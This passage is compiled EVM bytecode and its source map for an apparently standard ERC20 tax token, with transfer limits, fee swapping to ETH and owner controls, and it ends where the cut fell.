03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561094c573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061097191906116c6565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109c6573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ea91906116f1565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e3565b6001600160a01b038216610ac75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e3565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e3565b6001600160a01b038216610bee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e3565b5f8111610c4f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e3565b601254600160b01b900460ff161580610c715750601254600160a81b900460ff165b15610d1b576001600160a01b0383165f90815260016020526040902054610c99908290611710565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610cc8908290611663565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b1b9085815260200190565b5f80546001600160a01b03858116911614801590610d4657505f546001600160a01b03848116911614155b15610f8057610d776064610d71600c54600e5411610d6657600854610d6a565b600a545b859061129c565b90611321565b6012549091506001600160a01b038581169116148015610da557506011546001600160a01b03848116911614155b8015610dc957506001600160a01b0383165f9081526003602052604090205460ff16155b15610eaf57600554821115610e205760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e3565b60065482610e42856001600160a01b03165f9081526001602052604090205490565b610e4c9190611663565b1115610e9a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e3565b600e8054905f610ea983611723565b91905055505b6012546001600160a01b038481169116148015610ed557506001600160a01b0384163014155b15610f0257610eff6064610d71600d54600e5411610ef557600954610d6a565b600b54859061129c565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610f3857506012546001600160a01b038581169116145b8015610f4d5750601254600160b01b900460ff165b15610f7e578015610f7557610f75610f7084610f6b84600754611362565b611362565b6110f5565b610f7e47611265565b505b8015610ff857305f90815260016020526040902054610f9f9082611376565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fef9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461101a90836113d4565b6001600160a01b0385165f9081526001602052604090205561105d61103f83836113d4565b6001600160a01b0385165f9081526001602052604090205490611376565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a685856113d4565b60405190815260200160405180910390a350505050565b5f81848411156110e05760405162461bcd60e51b81526004016104e39190611441565b505f6110ec8486611710565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061113b5761113b61173b565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611192573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111b691906116ab565b816001815181106111c9576111c961173b565b6001600160a01b0392831660209182029290920101526011546111ef9130911684610a04565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112279085905f9086903090429060040161174f565b5f604051808303815f87803b15801561123e575f5ffd5b505af1158015611250573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104b6573d5f5f3e3d5ffd5b5f825f036112ab57505f610390565b5f6112b6838561164c565b9050826112c385836117bf565b1461131a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e3565b9392505050565b5f61131a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611415565b5f818311611370578261131a565b50919050565b5f806113828385611663565b90508381101561131a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e3565b5f61131a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110bd565b5f81836114355760405162461bcd60e51b81526004016104e39190611441565b505f6110ec84866117bf565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461148a575f5ffd5b50565b5f5f6040838503121561149e575f5ffd5b82356114a981611476565b946020939093013593505050565b5f5f5f606084860312156114c9575f5ffd5b83356114d481611476565b925060208401356114e481611476565b929592945050506040919091013590565b5f60208284031215611505575f5ffd5b813561131a81611476565b5f5f60408385031215611521575f5ffd5b823561152c81611476565b9150602083013561153c81611476565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156115965780850481111561157a5761157a611547565b600184161561158857908102905b60019390931c92800261155f565b935093915050565b5f826115ac57506001610390565b816115b857505f610390565b81600181146115ce57600281146115d8576115f4565b6001915050610390565b60ff8411156115e9576115e9611547565b50506001821b610390565b5060208310610133831016604e8410600b8410161715611617575081810a610390565b6116235f19848461155b565b805f190482111561163657611636611547565b029392505050565b5f61131a60ff84168361159e565b808202811582820484141761039057610390611547565b8082018082111561039057610390611547565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116bb575f5ffd5b815161131a81611476565b5f5f5f606084860312156116d8575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611701575f5ffd5b8151801515811461131a575f5ffd5b8181038181111561039057610390611547565b5f6001820161173457611734611547565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561179f5783516001600160a01b0316835260209384019390920191600101611778565b50506001600160a01b039590951660608401525050608001529392505050565b5f826117d957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220381c30deff96dd943783365d7ac50221abefa79bc5ff6b195d70d5f90213f84c64736f6c634300081b0033

Deployed Bytecode Sourcemap

3589:7489:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5387:83;;;;;;;;;;-1:-1:-1;5457:5:0;;;;;;;;;;;;-1:-1:-1;;;5457:5:0;;;;5387:83;;;;;;;:::i;:::-;;;;;;;;6601:161;;;;;;;;;;-1:-1:-1;6601:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6601:161:0;945:187:1;4243:45:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4243:45:0;1137:177:1;5664:95:0;;;;;;;;;;;;;:::i;6069:373::-;;;;;;;;;;-1:-1:-1;6069:373:0;;;;;:::i;:::-;;:::i;5573:83::-;;;;;;;;;;-1:-1:-1;5573:83:0;;3940:1;1974:36:1;;1962:2;1947:18;5573:83:0;1832:184:1;9656:338:0;;;;;;;;;;;;;:::i;:::-;;5767:119;;;;;;;;;;-1:-1:-1;5767:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5860:18:0;5833:7;5860:18;;;:9;:18;;;;;;;5767:119;3306:148;;;;;;;;;;;;;:::i;9489:159::-;;;;;;;;;;;;;:::i;4133:47::-;;;;;;;;;;;;;;;;3092:79;;;;;;;;;;-1:-1:-1;3130:7:0;3157:6;3092:79;;-1:-1:-1;;;;;3157:6:0;;;2419:51:1;;2407:2;2392:18;3092:79:0;2273:203:1;4187:49:0;;;;;;;;;;;;;;;;5478:87;;;;;;;;;;-1:-1:-1;5550:7:0;;;;;;;;;;;;-1:-1:-1;;;5550:7:0;;;;5478:87;;5894:167;;;;;;;;;;-1:-1:-1;5894:167:0;;;;;:::i;:::-;;:::i;10002:199::-;;;;;;;;;;-1:-1:-1;10002:199:0;;;;;:::i;:::-;;:::i;10452:623::-;;;;;;;;;;;;;:::i;6450:143::-;;;;;;;;;;-1:-1:-1;6450:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6558:18:0;;;6531:7;6558:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6450:143;6601:161;6676:4;6693:39;2749:10;6716:7;6725:6;6693:8;:39::i;:::-;-1:-1:-1;6750:4:0;6601:161;;;;;:::o;5664:95::-;5717:7;3996:13;3940:1;3996:2;:13;:::i;:::-;3983:26;;:10;:26;:::i;:::-;5737:14;;5664:95;:::o;6069:373::-;6167:4;6184:36;6194:6;6202:9;6213:6;6184:9;:36::i;:::-;6224:4;;2749:10;-1:-1:-1;;;;;6224:4:0;;;:18;6221:61;;-1:-1:-1;;;;;6243:19:0;;;;;;:11;:19;;;;;;;;6263:10;6243:31;;;;;;;:39;;6276:6;;6243:19;:39;;6276:6;;6243:39;:::i;:::-;;;;-1:-1:-1;;6221:61:0;6293:119;6302:6;2749:10;6324:87;6360:6;6324:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6324:19:0;;;;;;:11;:19;;;;;;;;6344:10;6324:31;;;;;;;;;:87;:35;:87::i;:::-;6293:8;:119::i;:::-;-1:-1:-1;6430:4:0;6069:373;;;;;:::o;9656:338::-;9719:10;;-1:-1:-1;;;;;9719:10:0;2749;-1:-1:-1;;;;;9705:24:0;;9697:33;;;;;;9780:4;9741:20;5860:18;;;:9;:18;;;;;;9800:14;;9797:64;;9828:21;9836:12;9828:7;:21::i;:::-;9890;9925:12;;9922:65;;9951:24;9964:10;9951:12;:24::i;:::-;9686:308;;9656:338::o;3306:148::-;3219:6;;-1:-1:-1;;;;;3219:6:0;2749:10;3219:22;3211:67;;;;-1:-1:-1;;;3211:67:0;;;;;;;:::i;:::-;;;;;;;;;3413:1:::1;3397:6:::0;;3376:40:::1;::::0;-1:-1:-1;;;;;3397:6:0;;::::1;::::0;3376:40:::1;::::0;3413:1;;3376:40:::1;3444:1;3427:19:::0;;-1:-1:-1;;;;;;3427:19:0::1;::::0;;3306:148::o;9489:159::-;3219:6;;-1:-1:-1;;;;;3219:6:0;2749:10;3219:22;3211:67;;;;-1:-1:-1;;;3211:67:0;;;;;;;:::i;:::-;3996:13:::1;3940:1;3996:2;:13;:::i;:::-;3983:26;::::0;:10:::1;:26;:::i;:::-;9542:12;:22:::0;3996:13:::1;3940:1;3996:2;:13;:::i;:::-;3983:26;::::0;:10:::1;:26;:::i;:::-;9575:14;:22:::0;9613:27:::1;3996:13;3940:1;3996:2;:13;:::i;:::-;3983:26;::::0;:10:::1;:26;:::i;:::-;9613:27;::::0;1283:25:1;;;1271:2;1256:18;9613:27:0::1;;;;;;;9489:159::o:0;5894:167::-;5972:4;5989:42;2749:10;6013:9;6024:6;5989:9;:42::i;10002:199::-;10088:8;;-1:-1:-1;;;;;10088:8:0;10074:10;:22;10066:31;;;;;;10113:10;:18;;-1:-1:-1;;;;;10113:18:0;;-1:-1:-1;;;;;;10113:18:0;;;;;;;;10108:4;:23;;;;;;;;;;10142:51;;10150:10;;10171:21;10142:51;;;;;10113:10;10142:51;10113:10;10142:51;10171:21;10150:10;10142:51;;;;;;;;;;;;;;;;;;;10452:623;3219:6;;-1:-1:-1;;;;;3219:6:0;2749:10;3219:22;3211:67;;;;-1:-1:-1;;;3211:67:0;;;;;;;:::i;:::-;10516:11:::1;::::0;-1:-1:-1;;;10516:11:0;::::1;;;10515:12;10507:47;;;::::0;-1:-1:-1;;;10507:47:0;;5564:2:1;10507:47:0::1;::::0;::::1;5546:21:1::0;5603:2;5583:18;;;5576:30;5642:25;5622:18;;;5615:53;5685:18;;10507:47:0::1;5362:347:1::0;10507:47:0::1;10565:9;:74:::0;;-1:-1:-1;;;;;;10565:74:0::1;10596:42;10565:74:::0;;::::1;::::0;;;10650:52:::1;::::0;10667:4:::1;::::0;3996:13:::1;3940:1;3996:2;:13;:::i;:::-;3983:26;::::0;:10:::1;:26;:::i;10650:52::-;10741:9;;;;;;;;;-1:-1:-1::0;;;;;10741:9:0::1;-1:-1:-1::0;;;;;10741:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10723:49:0::1;;10781:4;10788:9;;;;;;;;;-1:-1:-1::0;;;;;10788:9:0::1;-1:-1:-1::0;;;;;10788:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10723:82;::::0;-1:-1:-1;;;;;;10723:82:0::1;::::0;;;;;;-1:-1:-1;;;;;6162:32:1;;;10723:82:0::1;::::0;::::1;6144:51:1::0;6231:32;;6211:18;;;6204:60;6117:18;;10723:82:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10713:7;:92:::0;;-1:-1:-1;;;;;10713:92:0;;::::1;-1:-1:-1::0;;;;;;10713:92:0;;::::1;;::::0;;10816:9:::1;::::0;::::1;:25;10849:21;10880:4;10886:24;10880:4:::0;-1:-1:-1;;;;;5860:18:0;5833:7;5860:18;;;:9;:18;;;;;;;5767:119;10886:24:::1;10911:1;10913;10915:7;3130::::0;3157:6;-1:-1:-1;;;;;3157:6:0;;3092:79;10915:7:::1;10816:123;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10816:123:0;;;-1:-1:-1;;;;;6596:32:1;;;10816:123:0::1;::::0;::::1;6578:51:1::0;6645:18;;;6638:34;;;;6688:18;;;6681:34;;;;6731:18;;;6724:34;6795:32;;;6774:19;;;6767:61;10923:15:0::1;6844:19:1::0;;;6837:35;6550:19;;10816:123:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10957:7:0::1;::::0;10982:9:::1;::::0;10950:59:::1;::::0;-1:-1:-1;;;10950:59:0;;-1:-1:-1;;;;;10982:9:0;;::::1;10950:59;::::0;::::1;7518:51:1::0;-1:-1:-1;;7585:18:1;;;7578:34;10957:7:0;::::1;::::0;-1:-1:-1;10950:23:0::1;::::0;7491:18:1;;10950:59:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11020:11:0::1;:18:::0;;-1:-1:-1;;;;11049:18:0;-1:-1:-1;;;11049:18:0;;;10452:623::o;6770:335::-;-1:-1:-1;;;;;6863:19:0;;6855:68;;;;-1:-1:-1;;;6855:68:0;;8107:2:1;6855:68:0;;;8089:21:1;8146:2;8126:18;;;8119:30;8185:34;8165:18;;;8158:62;-1:-1:-1;;;8236:18:1;;;8229:34;8280:19;;6855:68:0;7905:400:1;6855:68:0;-1:-1:-1;;;;;6942:21:0;;6934:68;;;;-1:-1:-1;;;6934:68:0;;8512:2:1;6934:68:0;;;8494:21:1;8551:2;8531:18;;;8524:30;8590:34;8570:18;;;8563:62;-1:-1:-1;;;8641:18:1;;;8634:32;8683:19;;6934:68:0;8310:398:1;6934:68:0;-1:-1:-1;;;;;7013:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7065:32;;1283:25:1;;;7065:32:0;;1256:18:1;7065:32:0;;;;;;;;6770:335;;;:::o;7113:1904::-;-1:-1:-1;;;;;7201:18:0;;7193:68;;;;-1:-1:-1;;;7193:68:0;;8915:2:1;7193:68:0;;;8897:21:1;8954:2;8934:18;;;8927:30;8993:34;8973:18;;;8966:62;-1:-1:-1;;;9044:18:1;;;9037:35;9089:19;;7193:68:0;8713:401:1;7193:68:0;-1:-1:-1;;;;;7280:16:0;;7272:64;;;;-1:-1:-1;;;7272:64:0;;9321:2:1;7272:64:0;;;9303:21:1;9360:2;9340:18;;;9333:30;9399:34;9379:18;;;9372:62;-1:-1:-1;;;9450:18:1;;;9443:33;9493:19;;7272:64:0;9119:399:1;7272:64:0;7364:1;7355:6;:10;7347:64;;;;-1:-1:-1;;;7347:64:0;;9725:2:1;7347:64:0;;;9707:21:1;9764:2;9744:18;;;9737:30;9803:34;9783:18;;;9776:62;-1:-1:-1;;;9854:18:1;;;9847:39;9903:19;;7347:64:0;9523:405:1;7347:64:0;7429:11;;-1:-1:-1;;;7429:11:0;;;;7428:12;;:22;;-1:-1:-1;7444:6:0;;-1:-1:-1;;;7444:6:0;;;;7428:22;7424:217;;;-1:-1:-1;;;;;7485:15:0;;;;;;:9;:15;;;;;;:24;;7503:6;;7485:24;:::i;:::-;-1:-1:-1;;;;;7467:15:0;;;;;;;:9;:15;;;;;;:42;;;;7540:13;;;;;;;:22;;7556:6;;7540:22;:::i;:::-;-1:-1:-1;;;;;7524:13:0;;;;;;;:9;:13;;;;;;;:38;;;;7582:26;;;;;;;;;;7601:6;1283:25:1;;1271:2;1256:18;;1137:177;7424:217:0;7653:17;3157:6;;-1:-1:-1;;;;;7687:15:0;;;3157:6;;7687:15;;;;:32;;-1:-1:-1;3130:7:0;3157:6;-1:-1:-1;;;;;7706:13:0;;;3157:6;;7706:13;;7687:32;7683:976;;;7748:76;7820:3;7748:67;7770:15;;7760:9;;:25;7759:55;;7800:14;;7759:55;;;7787:12;;7759:55;7748:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7853:7;;7736:88;;-1:-1:-1;;;;;;7845:15:0;;;7853:7;;7845:15;:43;;;;-1:-1:-1;7878:9:0;;-1:-1:-1;;;;;7864:24:0;;;7878:9;;7864:24;;7845:43;:68;;;;-1:-1:-1;;;;;;7894:19:0;;;;;;:15;:19;;;;;;;;7892:21;7845:68;7841:298;;;7953:12;;7943:6;:22;;7935:60;;;;-1:-1:-1;;;7935:60:0;;10268:2:1;7935:60:0;;;10250:21:1;10307:2;10287:18;;;10280:30;10346:27;10326:18;;;10319:55;10391:18;;7935:60:0;10066:349:1;7935:60:0;8048:14;;8038:6;8022:13;8032:2;-1:-1:-1;;;;;5860:18:0;5833:7;5860:18;;;:9;:18;;;;;;;5767:119;8022:13;:22;;;;:::i;:::-;:40;;8014:79;;;;-1:-1:-1;;;8014:79:0;;10622:2:1;8014:79:0;;;10604:21:1;10661:2;10641:18;;;10634:30;10700:28;10680:18;;;10673:56;10746:18;;8014:79:0;10420:350:1;8014:79:0;8112:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7841:298;8164:7;;-1:-1:-1;;;;;8158:13:0;;;8164:7;;8158:13;:37;;;;-1:-1:-1;;;;;;8175:20:0;;8190:4;8175:20;;8158:37;8155:168;;;8228:79;8303:3;8228:70;8250:16;;8240:9;;:26;8239:58;;8282:15;;8239:58;;;8268:13;;8228:6;;:10;:70::i;:79::-;8216:91;;8155:168;8388:4;8339:28;5860:18;;;:9;:18;;;;;;8414:6;;-1:-1:-1;;;8414:6:0;;;;8413:7;:24;;;;-1:-1:-1;8430:7:0;;-1:-1:-1;;;;;8424:13:0;;;8430:7;;8424:13;8413:24;:39;;;;-1:-1:-1;8441:11:0;;-1:-1:-1;;;8441:11:0;;;;8413:39;8409:239;;;8477:24;;8474:104;;8520:58;8528:49;8532:6;8539:37;8543:20;8564:11;;8539:3;:37::i;:::-;8528:3;:49::i;:::-;8520:7;:58::i;:::-;8597:35;8610:21;8597:12;:35::i;:::-;7721:938;7683:976;8674:11;;8671:161;;8742:4;8724:24;;;;:9;:24;;;;;;:39;;8753:9;8724:28;:39::i;:::-;8717:4;8699:24;;;;:9;:24;;;;;;;:64;;;;8781:39;;-1:-1:-1;;;;;8781:39:0;;;;;;;8810:9;1283:25:1;;1271:2;1256:18;;1137:177;8781:39:0;;;;;;;;8671:161;-1:-1:-1;;;;;8860:15:0;;;;;;:9;:15;;;;;;:27;;8880:6;8860:19;:27::i;:::-;-1:-1:-1;;;;;8844:15:0;;;;;;:9;:15;;;;;:43;8912:40;8930:21;:6;8941:9;8930:10;:21::i;:::-;-1:-1:-1;;;;;8912:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8898:13:0;;;;;;;:9;:13;;;;;:54;;;;8968:41;;;8987:21;:6;8998:9;8987:10;:21::i;:::-;8968:41;;1283:25:1;;;1271:2;1256:18;8968:41:0;;;;;;;7182:1835;7113:1904;;;:::o;533:190::-;619:7;655:12;647:6;;;;639:29;;;;-1:-1:-1;;;639:29:0;;;;;;;;:::i;:::-;-1:-1:-1;679:9:0;691:5;695:1;691;:5;:::i;:::-;679:17;533:190;-1:-1:-1;;;;;533:190:0:o;9025:456::-;4893:6;:13;;-1:-1:-1;;;;4893:13:0;-1:-1:-1;;;4893:13:0;;;9118:16:::1;::::0;;9132:1:::1;9118:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9118:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9118:16:0::1;9094:40;;9163:4;9145;9150:1;9145:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9145:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9189:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;9189:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;9145:7;;9189:16;;;;;:9;:16:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9179:4;9184:1;9179:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9179:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;9248:9:::1;::::0;9216:56:::1;::::0;9233:4:::1;::::0;9248:9:::1;9260:11:::0;9216:8:::1;:56::i;:::-;9283:9;::::0;:190:::1;::::0;-1:-1:-1;;;9283:190:0;;-1:-1:-1;;;;;9283:9:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;9358:11;;9283:9:::1;::::0;9400:4;;9427::::1;::::0;9447:15:::1;::::0;9283:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;4929:6:0;:14;;-1:-1:-1;;;;4929:14:0;;;-1:-1:-1;;;;9025:456:0:o;10315:92::-;10372:10;;:27;;-1:-1:-1;;;;;10372:10:0;;;;:27;;;;;10392:6;;10372:10;:27;:10;:27;10392:6;10372:10;:27;;;;;;;;;;;;;;;;;;;731:246;789:7;813:1;818;813:6;809:47;;-1:-1:-1;843:1:0;836:8;;809:47;866:9;878:5;882:1;878;:5;:::i;:::-;866:17;-1:-1:-1;911:1:0;902:5;906:1;866:17;902:5;:::i;:::-;:10;894:56;;;;-1:-1:-1;;;894:56:0;;12567:2:1;894:56:0;;;12549:21:1;12606:2;12586:18;;;12579:30;12645:34;12625:18;;;12618:62;-1:-1:-1;;;12696:18:1;;;12689:31;12737:19;;894:56:0;12365:397:1;894:56:0;968:1;731:246;-1:-1:-1;;;731:246:0:o;985:132::-;1043:7;1070:39;1074:1;1077;1070:39;;;;;;;;;;;;;;;;;:3;:39::i;10209:98::-;10266:7;10293:1;10291;:3;10290:9;;10298:1;10290:9;;;-1:-1:-1;10296:1:0;10209:98;-1:-1:-1;10209:98:0:o;202:179::-;260:7;;292:5;296:1;292;:5;:::i;:::-;280:17;;321:1;316;:6;;308:46;;;;-1:-1:-1;;;308:46:0;;12969:2:1;308:46:0;;;12951:21:1;13008:2;12988:18;;;12981:30;13047:29;13027:18;;;13020:57;13094:18;;308:46:0;12767:351:1;389:136:0;447:7;474:43;478:1;481;474:43;;;;;;;;;;;;;;;;;:3;:43::i;1125:189::-;1211:7;1246:12;1239:5;1231:28;;;;-1:-1:-1;;;1231:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1270:9:0;1282:5;1286:1;1282;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:367::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:375;3354:1;3372:5;3386:249;3407:1;3397:8;3394:15;3386:249;;;3457:4;3452:3;3448:14;3442:4;3439:24;3436:50;;;3466:18;;:::i;:::-;3516:1;3506:8;3502:16;3499:49;;;3530:16;;;;3499:49;3613:1;3609:16;;;;;3569:15;;3386:249;;;3266:375;;;;;;:::o;3646:902::-;3695:5;3725:8;3715:80;;-1:-1:-1;3766:1:1;3780:5;;3715:80;3814:4;3804:76;;-1:-1:-1;3851:1:1;3865:5;;3804:76;3896:4;3914:1;3909:59;;;;3982:1;3977:174;;;;3889:262;;3909:59;3939:1;3930:10;;3953:5;;;3977:174;4014:3;4004:8;4001:17;3998:43;;;4021:18;;:::i;:::-;-1:-1:-1;;4077:1:1;4063:16;;4136:5;;3889:262;;4235:2;4225:8;4222:16;4216:3;4210:4;4207:13;4203:36;4197:2;4187:8;4184:16;4179:2;4173:4;4170:12;4166:35;4163:77;4160:203;;;-1:-1:-1;4272:19:1;;;4348:5;;4160:203;4395:42;-1:-1:-1;;4420:8:1;4414:4;4395:42;:::i;:::-;4473:6;4469:1;4465:6;4461:19;4452:7;4449:32;4446:58;;;4484:18;;:::i;:::-;4522:20;;3646:902;-1:-1:-1;;;3646:902:1:o;4553:140::-;4611:5;4640:47;4681:4;4671:8;4667:19;4661:4;4640:47;:::i;4698:168::-;4771:9;;;4802;;4819:15;;;4813:22;;4799:37;4789:71;;4840:18;;:::i;4871:125::-;4936:9;;;4957:10;;;4954:36;;;4970:18;;:::i;5001:356::-;5203:2;5185:21;;;5222:18;;;5215:30;5281:34;5276:2;5261:18;;5254:62;5348:2;5333:18;;5001:356::o;5714:251::-;5784:6;5837:2;5825:9;5816:7;5812:23;5808:32;5805:52;;;5853:1;5850;5843:12;5805:52;5885:9;5879:16;5904:31;5929:5;5904:31;:::i;6883:456::-;6971:6;6979;6987;7040:2;7028:9;7019:7;7015:23;7011:32;7008:52;;;7056:1;7053;7046:12;7008:52;-1:-1:-1;;7101:16:1;;7207:2;7192:18;;7186:25;7303:2;7288:18;;;7282:25;7101:16;;7186:25;;-1:-1:-1;7282:25:1;6883:456;-1:-1:-1;6883:456:1:o;7623:277::-;7690:6;7743:2;7731:9;7722:7;7718:23;7714:32;7711:52;;;7759:1;7756;7749:12;7711:52;7791:9;7785:16;7844:5;7837:13;7830:21;7823:5;7820:32;7810:60;;7866:1;7863;7856:12;9933:128;10000:9;;;10021:11;;;10018:37;;;10035:18;;:::i;10775:135::-;10814:3;10835:17;;;10832:43;;10855:18;;:::i;:::-;-1:-1:-1;10902:1:1;10891:13;;10775:135::o;11047:127::-;11108:10;11103:3;11099:20;11096:1;11089:31;11139:4;11136:1;11129:15;11163:4;11160:1;11153:15;11179:959;11441:4;11489:3;11478:9;11474:19;11520:6;11509:9;11502:25;11563:6;11558:2;11547:9;11543:18;11536:34;11606:3;11601:2;11590:9;11586:18;11579:31;11630:6;11665;11659:13;11696:6;11688;11681:22;11734:3;11723:9;11719:19;11712:26;;11773:2;11765:6;11761:15;11747:29;;11794:1;11804:195;11818:6;11815:1;11812:13;11804:195;;;11883:13;;-1:-1:-1;;;;;11879:39:1;11867:52;;11948:2;11974:15;;;;11939:12;;;;11915:1;11833:9;11804:195;;;-1:-1:-1;;;;;;;12055:32:1;;;;120